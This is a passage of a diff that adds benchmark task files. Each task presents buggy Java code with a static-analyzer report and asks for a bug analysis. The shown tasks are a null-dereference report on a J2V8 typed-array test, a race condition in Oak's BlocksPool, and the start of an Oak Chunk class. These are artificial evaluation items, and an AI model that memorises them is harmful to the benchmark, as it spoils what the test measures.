+        V8Array array = v8.executeArrayScript("x = [1,2,3]; x");
+
+        List<? super Object> list = (List<? super Object>) V8ObjectUtils.getValue(array);
+
+        assertEquals(3, list.size());
+        assertEquals(1, list.get(0));
+        assertEquals(2, list.get(1));
+        assertEquals(3, list.get(2));
+        array.close();
+    }
+
+    @SuppressWarnings("unchecked")
+    @Test
+    public void testCreateListWithUndefinedFromV8Array_GetValue() {
+        V8Array array = v8.executeArrayScript("x = [1,2,3]; x[9] = 10; x");
+
+        List<? super Object> list = (List<? super Object>) V8ObjectUtils.getValue(array);
+
+        assertEquals(10, list.size());
+        assertEquals(1, list.get(0));
+        assertEquals(2, list.get(1));
+        assertEquals(3, list.get(2));
+        assertTrue(((V8Value) list.get(3)).isUndefined());
+        assertTrue(((V8Value) list.get(4)).isUndefined());
+        assertTrue(((V8Value) list.get(5)).isUndefined());
+        assertTrue(((V8Value) list.get(6)).isUndefined());
+        assertTrue(((V8Value) list.get(7)).isUndefined());
+        assertTrue(((V8Value) list.get(8)).isUndefined());
+        assertEquals(10, list.get(9));
+        array.close();
+    }
+
+    @SuppressWarnings("unchecked")
+    @Test
+    public void testCreateListWithNullFromV8Array_GetValue() {
+        V8Array array = v8.executeArrayScript("x = [null]; x");
+
+        List<? super Object> list = (List<? super Object>) V8ObjectUtils.getValue(array);
+
+        assertEquals(1, list.size());
+        assertNull(list.get(0));
+        array.close();
+    }
+
+    @SuppressWarnings({ "rawtypes", "unchecked" })
+    @Test
+    public void testCreateMatrixFromV8Array_GetValue() {
+        V8Array array = v8.executeArrayScript("x = [[1,2,3],[true,false,true],['this','that','other']]; x");
+
+        List<? super Object> list = (List<? super Object>) V8ObjectUtils.getValue(array);
+
+        assertEquals(3, list.size());
+        assertEquals(3, ((List) list.get(0)).size());
+        assertEquals(3, ((List) list.get(1)).size());
+        assertEquals(3, ((List) list.get(2)).size());
+        assertEquals(1, ((List) list.get(0)).get(0));
+        assertEquals(2, ((List) list.get(0)).get(1));
+        assertEquals(3, ((List) list.get(0)).get(2));
+        assertTrue((Boolean) ((List) list.get(1)).get(0));
+        assertFalse((Boolean) ((List) list.get(1)).get(1));
+        assertTrue((Boolean) ((List) list.get(1)).get(2));
+        assertEquals("this", ((List) list.get(2)).get(0));
+        assertEquals("that", ((List) list.get(2)).get(1));
+        assertEquals("other", ((List) list.get(2)).get(2));
+        array.close();
+    }
+
+    @SuppressWarnings({ "rawtypes", "unchecked" })
+    @Test
+    public void testCreateMapWithLists_GetValue() {
+        V8Object object = v8.executeObjectScript("x = {a:[1,2,3], b:[4,5,6]}; x;");
+
+        Map<String, ? super Object> map = (Map<String, ? super Object>) V8ObjectUtils.getValue(object);
+
+        assertEquals(2, map.size());
+        assertEquals(1, ((List) map.get("a")).get(0));
+        assertEquals(2, ((List) map.get("a")).get(1));
+        assertEquals(3, ((List) map.get("a")).get(2));
+        assertEquals(4, ((List) map.get("b")).get(0));
+        assertEquals(5, ((List) map.get("b")).get(1));
+        assertEquals(6, ((List) map.get("b")).get(2));
+        object.close();
+    }
+
+    @SuppressWarnings("unchecked")
+    @Test
+    public void testCreateMapWithNulls_GetValue() {
+        V8Object object = v8.executeObjectScript("x = {a:null}; x;");
+
+        Map<String, ? super Object> map = (Map<String, ? super Object>) V8ObjectUtils.getValue(object);
+
+        assertEquals(1, map.size());
+        assertNull(map.get("a"));
+        object.close();
+    }
+
+    @Test
+    public void testNullObjectGivesNull_GetValue() {
+        Object result = V8ObjectUtils.getValue(null);
+
+        assertNull(result);
+    }
+
+    @SuppressWarnings("unchecked")
+    @Test
+    public void testV8ArrayContainsSelf_GetValue() {
+        V8Array v8Array = new V8Array(v8);
+        v8Array.push(v8Array);
+
+        List<Object> list = (List<Object>) V8ObjectUtils.getValue(v8Array);
+
+        assertEquals(list, list.get(0));
+        v8Array.close();
+    }
+
+    @SuppressWarnings("unchecked")
+    @Test
+    public void testV8ObjectContainsSelf_GetValue() {
+        V8Object v8Object = new V8Object(v8);
+        v8Object.add("self", v8Object);
+
+        Map<String, Object> map = (Map<String, Object>) V8ObjectUtils.getValue(v8Object);
+
+        assertEquals(map, map.get("self"));
+        assertEquals(map.hashCode(), map.get("self").hashCode());
+        v8Object.close();
+    }
+
+    @SuppressWarnings("unchecked")
+    @Test
+    public void testBackpointer_GetValue() {
+        V8Object parent = v8.executeObjectScript("var parent = {};\n"
+                + "var child = {parent : parent};\n"
+                + "parent.child = child\n;"
+                + "parent;");
+
+        Map<String, Object> map = (Map<String, Object>) V8ObjectUtils.getValue(parent);
+
+        assertEquals(map, ((Map<String, Object>) map.get("child")).get("parent"));
+        parent.close();
+    }
+
+    @SuppressWarnings("unchecked")
+    @Test
+    public void testCloneV8Array_GetValue() {
+        V8Array list = v8.executeArrayScript("var l = [{first:'ian', last:'bull'}, {first:'sadie', last:'bull'}]; l;");
+
+        V8Array v8Object = V8ObjectUtils.toV8Array(v8, (List<? extends Object>) V8ObjectUtils.getValue(list));
+
+        v8.add("l2", v8Object);
+        v8.executeBooleanScript("JSON.stringify(l) === JSON.stringify(l2);");
+        list.close();
+        v8Object.close();
+    }
+
+    @SuppressWarnings("unchecked")
+    @Test
+    public void testCloneV8ObjectsWithCircularStructure_GetValue() {
+        V8Object parent = v8.executeObjectScript("var parent = {};\n"
+                + "var child = {parent : parent};\n"
+                + "parent.child = child\n;"
+                + "parent;");
+
+        V8Object v8Object = V8ObjectUtils.toV8Object(v8, (Map<String, ? extends Object>) V8ObjectUtils.getValue(parent));
+
+        assertEquals(1, v8Object.getKeys().length);
+        assertEquals("child", v8Object.getKeys()[0]);
+        parent.close();
+        v8Object.close();
+    }
+
+    @SuppressWarnings("unchecked")
+    @Test
+    public void testEqualSiblings_GetValue() {
+        V8Object parent = v8.executeObjectScript("var parent = {};\n"
+                + "var child = {parent : parent};\n"
+                + "parent.child1 = child\n;"
+                + "parent.child2 = child\n;"
+                + "parent;");
+
+        Map<String, Object> map = (Map<String, Object>) V8ObjectUtils.getValue(parent);
+
+        assertEquals((map.get("child2")), (map.get("child1")));
+        parent.close();
+    }
+
+    @Test
+    public void testTypedArrayGetValue_Int8Array() {
+        V8Array intsArray = v8.executeArrayScript("var buf = new ArrayBuffer(100);\n"
+                + "var intsArray = new Int8Array(buf);\n"
+                + "intsArray[0] = 16;\n"
+                + "intsArray;\n");
+
+        V8TypedArray result = (V8TypedArray) V8ObjectUtils.getValue(intsArray);
+
+        assertEquals(100, result.length());
+        assertEquals((byte) 16, result.get(0));
+        intsArray.close();
+    }
+
+    @Test
+    public void testTypedArrayGetValue_Int8ArrayWithoutBackingStore() {
+        V8Array intsArray = v8.executeArrayScript(""
+                + "var intsArray = new Int8Array(24);\n"
+                + "intsArray");
+
+        V8TypedArray result = (V8TypedArray) V8ObjectUtils.getValue(intsArray);
+
+        assertEquals(24, result.length());
+        intsArray.close();
+    }
+
+    @Test
+    public void testTypedArrayGetValue_Uint8Array() {
+        V8Array intsArray = v8.executeArrayScript("var buf = new ArrayBuffer(100);\n"
+                + "var intsArray = new Uint8Array(buf);\n"
+                + "intsArray[0] = 16;\n"
+                + "intsArray;\n");
+
+        V8TypedArray result = (V8TypedArray) V8ObjectUtils.getValue(intsArray);
+
+        assertEquals(100, result.length());
+        assertEquals((short) 16, result.get(0));
+        intsArray.close();
+    }
+
+    @Test
+    public void testTypedArrayGetValue_Uint8ClampedArray() {
+        V8Array int8ClampedArray = v8.executeArrayScript("var buf = new ArrayBuffer(100);\n"
+                + "var int8ClampedArray = new Uint8ClampedArray(buf);\n"
+                + "int8ClampedArray[0] = 16;\n"
+                + "int8ClampedArray;\n");
+
+        V8TypedArray result = (V8TypedArray) V8ObjectUtils.getValue(int8ClampedArray);
+
+        assertEquals(100, result.length());
+        assertEquals((short) 16, result.get(0));
+        int8ClampedArray.close();
+    }
+
+    @Test
+    public void testTypedArrayGetValue_Int16Array() {
+        V8Array intsArray = v8.executeArrayScript("var buf = new ArrayBuffer(100);\n"
+                + "var intsArray = new Int16Array(buf);\n"
+                + "intsArray[0] = 16;\n"
+                + "intsArray;\n");
+
+        V8TypedArray result = (V8TypedArray) V8ObjectUtils.getValue(intsArray);
+
+        assertEquals(50, result.length());
+        assertEquals((short) 16, result.get(0));
+        intsArray.close();
+    }
+
+    @Test
+    public void testTypedArrayGetValue_Uint16Array() {
+        V8Array intsArray = v8.executeArrayScript("var buf = new ArrayBuffer(100);\n"
+                + "var intsArray = new Uint16Array(buf);\n"
+                + "intsArray[0] = 16;\n"
+                + "intsArray;\n");
+
+        V8TypedArray result = (V8TypedArray) V8ObjectUtils.getValue(intsArray);
+
+        assertEquals(50, result.length());
+        assertEquals(16, result.get(0));
+        intsArray.close();
+    }
+
+    @Test
+    public void testTypedArrayGetValue_Int32Array() {
+        V8Array intsArray = v8.executeArrayScript("var buf = new ArrayBuffer(100);\n"
+                + "var intsArray = new Int32Array(buf);\n"
+                + "intsArray[0] = 16;\n"
+                + "intsArray;\n");
+
+        V8TypedArray result = (V8TypedArray) V8ObjectUtils.getValue(intsArray);
+
+        assertEquals(25, result.length());
+        assertEquals(16, result.get(0));
+        intsArray.close();
+    }
+
+    @Test
+    public void testTypedArrayGetValue_Uint32Array() {
+        V8Array intsArray = v8.executeArrayScript("var buf = new ArrayBuffer(100);\n"
+                + "var intsArray = new Uint32Array(buf);\n"
+                + "intsArray[0] = 16;\n"
+                + "intsArray;\n");
+
+        V8TypedArray result = (V8TypedArray) V8ObjectUtils.getValue(intsArray);
+
+        assertEquals(25, result.length());
+        assertEquals(16L, result.get(0));
+        intsArray.close();
+    }
+
+    @Test
+    public void testTypedArrayGetValue_Float32Array() {
+        V8Array floatsArray = v8.executeArrayScript("var buf = new ArrayBuffer(100);\n"
+                + "var floatsArray = new Float32Array(buf);\n"
+                + "floatsArray[0] = 16.2;\n"
+                + "floatsArray;\n");
+
+        V8TypedArray result = (V8TypedArray) V8ObjectUtils.getValue(floatsArray);
+
+        assertEquals(25, result.length());
+        assertEquals(16.2, (Float) result.get(0), 0.00001);
+        floatsArray.close();
+    }
+
+    @Test
+    public void testTypedArrayGetValue_Float64Array() {
+        V8Array floatsArray = v8.executeArrayScript("var buf = new ArrayBuffer(80);\n"
+                + "var floatsArray = new Float64Array(buf);\n"
+                + "floatsArray[0] = 16.2;\n"
+                + "floatsArray;\n");
+
+        V8TypedArray result = (V8TypedArray) V8ObjectUtils.getValue(floatsArray);
+
+        assertEquals(10, result.length());
+        assertEquals(16.2, (Double) result.get(0), 0.0001);
+        floatsArray.close();
+    }
+
+    @Test
+    public void testArrayBufferGetValue() {
+        V8ArrayBuffer buf = (V8ArrayBuffer) v8.executeScript("var buf = new ArrayBuffer(100);\n"
+                + "buf;\n");
+
+        V8ArrayBuffer result = (V8ArrayBuffer) V8ObjectUtils.getValue(buf);
+
+        assertEquals(100, result.limit());
+        buf.close();
+    }
+
+    @SuppressWarnings("unchecked")
+    @Test
+    public void testIntegerTypeAdapter_Map_GetValue() {
+        V8Object object = v8.executeObjectScript("x = {a:1, b:3.14, c:false, d:'string'}; x");
+
+        Map<String, ? super Object> map = (Map<String, ? super Object>) V8ObjectUtils.getValue(object, new SingleTypeAdapter(V8Value.INTEGER) {
+
+            @Override
+            public Object adapt(final Object value) {
+                return 7;
+            }
+        });
+
+        assertEquals(4, map.size());
+        assertEquals(7, map.get("a"));
+        assertEquals(3.14, (Double) map.get("b"), 0.00001);
+        assertEquals(false, map.get("c"));
+        assertEquals("string", map.get("d"));
+
+        object.close();
+    }
+
+    @SuppressWarnings("unchecked")
+    @Test
+    public void testDoubleTypeAdapter_Map_GetValue() {
+        V8Object object = v8.executeObjectScript("x = {a:1, b:3.14, c:false, d:'string'}; x");
+
+        Map<String, ? super Object> map = (Map<String, ? super Object>) V8ObjectUtils.getValue(object, new SingleTypeAdapter(V8Value.DOUBLE) {
+
+            @Override
+            public Object adapt(final Object value) {
+                return 7.7;
+            }
+        });
+
+        assertEquals(4, map.size());
+        assertEquals(1, map.get("a"));
+        assertEquals(7.7, (Double) map.get("b"), 0.00001);
+        assertEquals(false, map.get("c"));
+        assertEquals("string", map.get("d"));
+
+        object.close();
+    }
+
+    @SuppressWarnings("unchecked")
+    @Test
+    public void testBooleanTypeAdapter_Map_GetValue() {
+        V8Object object = v8.executeObjectScript("x = {a:1, b:3.14, c:false, d:'string'}; x");
+
+        Map<String, ? super Object> map = (Map<String, ? super Object>) V8ObjectUtils.getValue(object, new SingleTypeAdapter(V8Value.BOOLEAN) {
+
+            @Override
+            public Object adapt(final Object value) {
+                return true;
+            }
+        });
+
+        assertEquals(4, map.size());
+        assertEquals(1, map.get("a"));
+        assertEquals(3.14, (Double) map.get("b"), 0.00001);
+        assertEquals(true, map.get("c"));
+        assertEquals("string", map.get("d"));
+
+        object.close();
+    }
+
+    @SuppressWarnings("unchecked")
+    @Test
+    public void testStringTypeAdapter_Map_GetValue() {
+        V8Object object = v8.executeObjectScript("x = {a:1, b:3.14, c:false, d:'string'}; x");
+
+        Map<String, ? super Object> map = (Map<String, ? super Object>) V8ObjectUtils.getValue(object, new SingleTypeAdapter(V8Value.STRING) {
+
+            @Override
+            public Object adapt(final Object value) {
+                return "foo";
+            }
+        });
+
+        assertEquals(4, map.size());
+        assertEquals(1, map.get("a"));
+        assertEquals(3.14, (Double) map.get("b"), 0.00001);
+        assertEquals(false, map.get("c"));
+        assertEquals("foo", map.get("d"));
+
+        object.close();
+    }
+
+    @Test
+    public void testObjectTypeAdapter_Map_GetValue() {
+        V8Object object = v8.executeObjectScript("x = {b:{a:{}}}; x");
+
+        Object result = V8ObjectUtils.getValue(object, new SingleTypeAdapter(V8Value.V8_OBJECT) {
+
+            @Override
+            public Object adapt(final Object value) {
+                return "object";
+            }
+        });
+
+        assertEquals("object", result);
+
+        object.close();
+    }
+
+    @Test
+    public void testObjectNullTypeAdapter_Map_GetValue() {
+        V8Object object = v8.executeObjectScript("x = {b:{a:{}}}; x");
+
+        Object result = V8ObjectUtils.getValue(object, new SingleTypeAdapter(V8Value.V8_OBJECT) {
+
+            @Override
+            public Object adapt(final Object value) {
+                return null;
+            }
+        });
+
+        assertNull(result);
+
+        object.close();
+    }
+
+    @Test
+    public void testObjectUndefinedTypeAdapter_Map_GetValue() {
+        V8Object object = v8.executeObjectScript("x = {b:{a:{}}}; x");
+
+        V8Value result = (V8Value) V8ObjectUtils.getValue(object, new SingleTypeAdapter(V8Value.V8_OBJECT) {
+
+            @Override
+            public Object adapt(final Object value) {
+                return V8.getUndefined();
+            }
+        });
+
+        assertTrue(result.isUndefined());
+
+        object.close();
+    }
+
+    @SuppressWarnings("unchecked")
+    @Test
+    public void testIntegerTypeAdapter_List_GetValue() {
+        V8Array array = v8.executeArrayScript("x = [1, 3.14, false, 'string']; x");
+
+        List<? super Object> list = (List<? super Object>) V8ObjectUtils.getValue(array, new SingleTypeAdapter(V8Value.INTEGER) {
+
+            @Override
+            public Object adapt(final Object value) {
+                return 7;
+            }
+        });
+
+        assertEquals(4, list.size());
+        assertEquals(7, list.get(0));
+        assertEquals(3.14, (Double) list.get(1), 0.00001);
+        assertEquals(false, list.get(2));
+        assertEquals("string", list.get(3));
+
+        array.close();
+    }
+
+    @SuppressWarnings("unchecked")
+    @Test
+    public void testDoubleTypeAdapter_List_GetValue() {
+        V8Array array = v8.executeArrayScript("x = [1, 3.14, false, 'string']; x");
+
+        List<? super Object> list = (List<? super Object>) V8ObjectUtils.getValue(array, new SingleTypeAdapter(V8Value.DOUBLE) {
+
+            @Override
+            public Object adapt(final Object value) {
+                return 7.7;
+            }
+        });
+
+        assertEquals(4, list.size());
+        assertEquals(1, list.get(0));
+        assertEquals(7.7, (Double) list.get(1), 0.00001);
+        assertEquals(false, list.get(2));
+        assertEquals("string", list.get(3));
+
+        array.close();
+    }
+
+    @SuppressWarnings("unchecked")
+    @Test
+    public void testBooleanTypeAdapter_List_GetValue() {
+        V8Array array = v8.executeArrayScript("x = [1, 3.14, false, 'string']; x");
+
+        List<? super Object> list = (List<? super Object>) V8ObjectUtils.getValue(array, new SingleTypeAdapter(V8Value.BOOLEAN) {
+
+            @Override
+            public Object adapt(final Object value) {
+                return true;
+            }
+        });
+
+        assertEquals(4, list.size());
+        assertEquals(1, list.get(0));
+        assertEquals(3.14, (Double) list.get(1), 0.00001);
+        assertEquals(true, list.get(2));
+        assertEquals("string", list.get(3));
+
+        array.close();
+    }
+
+    @SuppressWarnings("unchecked")
+    @Test
+    public void testStringTypeAdapter_List_GetValue() {
+        V8Array array = v8.executeArrayScript("x = [1, 3.14, false, 'string']; x");
+
+        List<? super Object> list = (List<? super Object>) V8ObjectUtils.getValue(array, new SingleTypeAdapter(V8Value.STRING) {
+
+            @Override
+            public Object adapt(final Object value) {
+                return "foo";
+            }
+        });
+
+        assertEquals(4, list.size());
+        assertEquals(1, list.get(0));
+        assertEquals(3.14, (Double) list.get(1), 0.00001);
+        assertEquals(false, list.get(2));
+        assertEquals("foo", list.get(3));
+
+        array.close();
+    }
+
+    @SuppressWarnings("unchecked")
+    @Test
+    public void testObjectTypeAdapter_List_GetValue() {
+        V8Array array = v8.executeArrayScript("x = [{a:{}}]; x");
+
+        List<? super Object> list = (List<? super Object>) V8ObjectUtils.getValue(array, new SingleTypeAdapter(V8Value.V8_OBJECT) {
+
+            @Override
+            public Object adapt(final Object value) {
+                return "object";
+            }
+        });
+
+        assertEquals(1, list.size());
+        assertEquals("object", list.get(0));
+
+        array.close();
+    }
+
+    @SuppressWarnings("unchecked")
+    @Test
+    public void testObjectNullTypeAdapter_List_GetValue() {
+        V8Array array = v8.executeArrayScript("x = [{a:{}}]; x");
+
+        List<? super Object> list = (List<? super Object>) V8ObjectUtils.getValue(array, new SingleTypeAdapter(V8Value.V8_OBJECT) {
+
+            @Override
+            public Object adapt(final Object value) {
+                return null;
+            }
+        });
+
+        assertEquals(1, list.size());
+        assertNull(list.get(0));
+
+        array.close();
+    }
+
+    @SuppressWarnings("unchecked")
+    @Test
+    public void testObjectUndefinedTypeAdapter_List_GetValue() {
+        V8Array array = v8.executeArrayScript("x = [{a:{}}]; x");
+
+        List<? super Object> list = (List<? super Object>) V8ObjectUtils.getValue(array, new SingleTypeAdapter(V8Value.V8_OBJECT) {
+
+            @Override
+            public Object adapt(final Object value) {
+                return V8.getUndefined();
+            }
+        });
+
+        assertEquals(1, list.size());
+        assertEquals(V8.getUndefined(), list.get(0));
+
+        array.close();
+    }
+
+    @SuppressWarnings("unchecked")
+    @Test
+    public void testCreateFunctionMapFromV8Object_GetValue() {
+        V8Object object = v8.executeObjectScript("x = {a:function() {return 'a'}, b:function(){return 'b'}}; x");
+        MemoryManager memoryManager = new MemoryManager(v8);
+
+        Map<String, ? super Object> map = (Map<String, ? super Object>) V8ObjectUtils.getValue(object, new SingleTypeAdapter(V8Value.V8_FUNCTION) {
+
+            @Override
+            public Object adapt(final Object value) {
+                return ((V8Function) value).twin();
+            }
+        });
+
+        assertEquals(2, map.size());
+        assertEquals("a", ((V8Function) map.get("a")).call(null, null));
+        assertEquals("b", ((V8Function) map.get("b")).call(null, null));
+
+        memoryManager.release();
+        object.close();
+    }
+
+    @SuppressWarnings("unchecked")
+    @Test
+    public void testCreateFunctionListFromV8Object_GetValue() {
+        V8Array object = v8.executeArrayScript("x = [function() {return 'a'}, function(){return 'b'}]; x");
+        MemoryManager memoryManager = new MemoryManager(v8);
+
+        List<? super Object> list = (List<? super Object>) V8ObjectUtils.getValue(object, new SingleTypeAdapter(V8Value.V8_FUNCTION) {
+
+            @Override
+            public Object adapt(final Object value) {
+                return ((V8Function) value).twin();
+            }
+        });
+
+        assertEquals(2, list.size());
+        assertEquals("a", ((V8Function) list.get(0)).call(null, null));
+        assertEquals("b", ((V8Function) list.get(1)).call(null, null));
+
+        memoryManager.release();
+        object.close();
+    }
+
+    private int registerAndRelease(final String name, final List<? extends Object> list) {
+        V8Array array = V8ObjectUtils.toV8Array(v8, list);
+        v8.add(name, array);
+        int size = array.length();
+        array.close();
+        return size;
+    }
+
+    private int registerAndRelease(final String name, final Map<String, ? extends Object> map) {
+        V8Object object = V8ObjectUtils.toV8Object(v8, map);
+        v8.add(name, object);
+        int size = getNumberOfProperties(object);
+        object.close();
+        return size;
+    }
+
+    private int getNumberOfProperties(final V8Object object) {
+        return object.getKeys().length;
+    }
+
+}
+
+```
+
+### Bug Class:
+PROVER
+
+### Kind:
+ERROR
+
+### Bug Type:
+NULL_DEREFERENCE
+
+### Qualifier:
+object returned by `result.get(0)` could be null and is dereferenced at line 2530.
+
+### Severity:
+HIGH
+
+### Visibility:
+user
+
+### Procedure:
+void V8ObjectUtilsTest.testTypedArrayGetValue_Float32Array()
+
+### Procedure Id:
+com.eclipsesource.v8.utils.V8ObjectUtilsTest.testTypedArrayGetValue_Float32Array():void.08c1b0fb2810d0a05af6c032f8e9f78a
+
+### File:
+src/test/java/com/eclipsesource/v8/utils/V8ObjectUtilsTest.java
+
+### Key:
+V8ObjectUtilsTest.java|testTypedArrayGetValue_Float32Array|NULL_DEREFERENCE
+
+### Node Key:
+cec911882795962a5c1a6b4bae2d5de6
+
+### Hash:
+0bc595233d1520952e8c0fab9abb31f1
+
+### Bug Type Hum:
+Null Dereference
+
+## Task
+
+Analyze the bug information provided above. Your task is to:
+
+1. **Understand the Bug**: Examine the buggy code and identify what the issue was
+2. **Analyze the Root Cause**: Determine why this bug occurred (logic error, edge case, etc.)
+3. **Evaluate the Fix**: Understand how the after code addresses the issue
+4. **Code Review**: Provide insights on code quality, potential improvements, and best practices
+
+### Analysis Questions:
+- What was the specific bug or issue in the original code?
+- What scenarios would trigger this bug?
+- How does the fix address the root cause?
+- Are there any potential edge cases the fix might miss?
+- What coding practices could have prevented this bug?
+- Are there alternative ways to implement the fix?
+
+Use the provided environment to explore, test, or reproduce the bug if needed.
diff --git a/inferredbugs-3746/instruction.md b/inferredbugs-3746/instruction.md
new file mode 100644
index 0000000000000000000000000000000000000000..adcf109a32767c6154a81ffe6c3619353c92cc0c
--- /dev/null
+++ b/inferredbugs-3746/instruction.md
@@ -0,0 +1,197 @@
+# InferredBugs Task - Java
+
+## Project Information
+
+**Project:** Oak
+**Bug ID:** 2
+**Language:** java
+
+## Bug Information
+
+### File-Level Changes:
+
+**Before (Buggy File):**
+```java
+/*
+ * Copyright 2018 Oath Inc.
+ * Licensed under the terms of the Apache 2.0 license.
+ * Please see LICENSE file in the project root for terms.
+ */
+
+package com.oath.oak.NativeAllocator;
+
+import java.util.concurrent.ConcurrentLinkedQueue;
+
+/*
+ * The singleton Pool to pre-allocate and reuse blocks of off-heap memory. The singleton has lazy
+ * initialization so the big memory is allocated only on demand when first Oak is used.
+ * However it makes creation of the first Oak slower. This initialization is thread safe, thus
+ * multiple concurrent Oak creations will result only in the one Pool.
+ * */
+class BlocksPool implements BlocksProvider {
+
+    private static BlocksPool instance = null;
+    private final ConcurrentLinkedQueue<Block> blocks = new ConcurrentLinkedQueue<>();
+
+    // TODO change BLOCK_SIZE and NUMBER_OF_BLOCKS to be pre-configurable
+    private static int BLOCK_SIZE = 256 * 1024 * 1024; // currently 200MB, the one block size
+    // Number of memory blocks to be pre-allocated (currently gives us 2GB). When it is not enough,
+    // another half such amount of memory (1GB) will be allocated at once.
+    private final static int NUMBER_OF_BLOCKS = 10;
+    private final static int EXCESS_POOL_RATIO = 3;
+
+    // not thread safe, private constructor; should be called only once
+    private BlocksPool() {
+        prealloc(NUMBER_OF_BLOCKS);
+    }
+
+    /**
+     * Initializes the instance of BlocksPool if not yet initialized, otherwise returns
+     * the single instance of the singleton. Thread safe.
+     */
+    static BlocksPool getInstance() {
+        if (instance == null) {
+            synchronized (BlocksPool.class) { // can be easily changed to lock-free
+                if (instance == null) {
+                    instance = new BlocksPool();
+                }
+            }
+        }
+        return instance;
+    }
+
+    static void setBlockSize(int blockSize) {
+        BLOCK_SIZE = blockSize;
+        synchronized (BlocksPool.class) { // can be easily changed to lock-free
+            instance = new BlocksPool();
+        }
+    }
+
+    @Override
+    public int blockSize() {
+        return BLOCK_SIZE;
+    }
+
+    /**
+     * Returns a single Block from within the Pool, enlarges the Pool if needed
+     * Thread-safe
+     */
+    public Block getBlock() {
+        Block b = null;
+        while (b == null) {
+            boolean noMoreBlocks = blocks.isEmpty();
+            if (!noMoreBlocks) {
+                b = blocks.poll();
+            }
+
+            if (noMoreBlocks || b == null) {
+                synchronized (BlocksPool.class) { // can be easily changed to lock-free
+                    if (blocks.isEmpty()) {
+                        prealloc(NUMBER_OF_BLOCKS / 2);
+                    }
+                }
+            }
+        }
+        return b;
+    }
+
+    /**
+     * Returns a single Block to the Pool, decreases the Pool if needed
+     * Assumes block is not used by any concurrent thread, otherwise thread-safe
+     */
+    public void returnBlock(Block b) {
+        b.reset();
+        blocks.add(b);
+        if (blocks.size() > EXCESS_POOL_RATIO * NUMBER_OF_BLOCKS) { // too many unused blocks
+            synchronized (BlocksPool.class) { // can be easily changed to lock-free
+                for (int i = 0; i < NUMBER_OF_BLOCKS; i++) {
+                    this.blocks.poll().clean();
+                }
+            }
+        }
+    }
+
+    /**
+     * Should be called when the entire Pool is not used anymore. Releases the memory only of the
+     * blocks returned back to the pool.
+     * However this object is GCed when the entire process dies, but thus all the memory is released
+     * anyway...
+     */
+    void close() {
+        while (!blocks.isEmpty()) {
+            blocks.poll().clean();
+        }
+    }
+
+    private void prealloc(int numOfBlocks) {
+        // pre-allocation loop
+        for (int i = 0; i < numOfBlocks; i++) {
+            this.blocks.add(new Block(BlocksPool.BLOCK_SIZE));
+        }
+    }
+
+    // used only for testing
+    int numOfRemainingBlocks() {
+        return blocks.size();
+    }
+}
+```
+
+### Bug Class:
+PROVER
+
+### Kind:
+ERROR
+
+### Bug Type:
+THREAD_SAFETY_VIOLATION
+
+### Qualifier:
+Read/Write race. Non-private method `com.oath.oak.NativeAllocator.BlocksPool.setBlockSize` indirectly reads with synchronization from `NativeAllocator.BlocksPool.com.oath.oak.NativeAllocator.BlocksPool.BLOCK_SIZE`. Potentially races with unsynchronized write in method `BlocksPool.setBlockSize(...)`.
+ Reporting because this access may occur on a background thread.
+
+### Severity:
+HIGH
+
+### Visibility:
+user
+
+### Procedure:
+void BlocksPool.setBlockSize(int)
+
+### Procedure Id:
+com.oath.oak.NativeAllocator.BlocksPool.setBlockSize(int):void.519e04f40da29fc3c0cfb12fc03e1480
+
+### File:
+core/src/main/java/com/oath/oak/NativeAllocator/BlocksPool.java
+
+### Key:
+BlocksPool.java|setBlockSize|THREAD_SAFETY_VIOLATION
+
+### Node Key:
+9c5d6d9028928346cc4fb44cced5dea1
+
+### Hash:
+a42320c6e11903b3d644c87473000cc9
+
+### Bug Type Hum:
+Thread Safety Violation
+
+## Task
+
+Analyze the bug information provided above. Your task is to:
+
+1. **Understand the Bug**: Examine the buggy code and identify what the issue was
+2. **Analyze the Root Cause**: Determine why this bug occurred (logic error, edge case, etc.)
+3. **Evaluate the Fix**: Understand how the after code addresses the issue
+4. **Code Review**: Provide insights on code quality, potential improvements, and best practices
+
+### Analysis Questions:
+- What was the specific bug or issue in the original code?
+- What scenarios would trigger this bug?
+- How does the fix address the root cause?
+- Are there any potential edge cases the fix might miss?
+- What coding practices could have prevented this bug?
+- Are there alternative ways to implement the fix?
+
+Use the provided environment to explore, test, or reproduce the bug if needed.
diff --git a/inferredbugs-3747/instruction.md b/inferredbugs-3747/instruction.md
new file mode 100644
index 0000000000000000000000000000000000000000..d563b8d455206783899ea8c94a39e465ff6dc04b
--- /dev/null
+++ b/inferredbugs-3747/instruction.md
@@ -0,0 +1,1329 @@
+# InferredBugs Task - Java
+
+## Project Information
+
+**Project:** Oak
+**Bug ID:** 5
+**Language:** java
+
+## Bug Information
+
+### File-Level Changes:
+
+**Before (Buggy File):**
+```java
+/*
+ * Copyright 2018 Oath Inc.
+ * Licensed under the terms of the Apache 2.0 license.
+ * Please see LICENSE file in the project root for terms.
+ */
+
+package com.oath.oak;
+
+import sun.misc.Unsafe;
+
+import java.nio.ByteBuffer;
+import java.util.EmptyStackException;
+import java.util.concurrent.ThreadLocalRandom;
+import java.util.concurrent.atomic.AtomicInteger;
+import java.util.concurrent.atomic.AtomicMarkableReference;
+import java.util.concurrent.atomic.AtomicReference;
+import java.util.function.Consumer;
+
+import static com.oath.oak.UnsafeUtils.intsToLong;
+import static com.oath.oak.UnsafeUtils.longToInts;
+
+public class Chunk<K, V> {
+
+    /*-------------- Constants --------------*/
+
+    /***
+     * This enum is used to access the different fields in each entry.
+     * The value associated with each entry signifies the offset of the field relative to the entry's beginning.
+     */
+    enum OFFSET {
+        /***
+         * NEXT - the next index of this entry (one integer)
+         *
+         * VALUE_REFERENCE - the blockID, length and position of the value pointed from this entry (size of two
+         * integers, one long). Equals to DELETED_VALUE if no value is point.
+         *
+         * VALUE_POSITION
+         *
+         * VALUE_BLOCK_AND_LENGTH - this value holds both the blockID and the length of the value pointed by the entry.
+         * Using VALUE_LENGTH_MASK and VALUE_BLOCK_SHIFT the blockID and length can be extracted.
+         * Currently, the length of a value is limited to 8MB, and blockID is limited to 512 blocks
+         * (with the current block size of 256MB, the total memory is up to 128GB).
+         *
+         * VALUE_BLOCK
+         *
+         * VALUE_LENGTH
+         *
+         * KEY_POSITION
+         *
+         * KEY_BLOCK_AND_LENGTH - similar to VALUE_BLOCK_AND_LENGTH, but using KEY_LENGTH_MASK and KEY_BLOCK_SHIFT.
+         * The length of a key is limited to 32KB.
+         *
+         * KEY_BLOCK
+         *
+         * KEY_LENGTH
+         */
+        NEXT(0), VALUE_REFERENCE(1), VALUE_POSITION(1), VALUE_BLOCK_AND_LENGTH(2), VALUE_BLOCK(2),
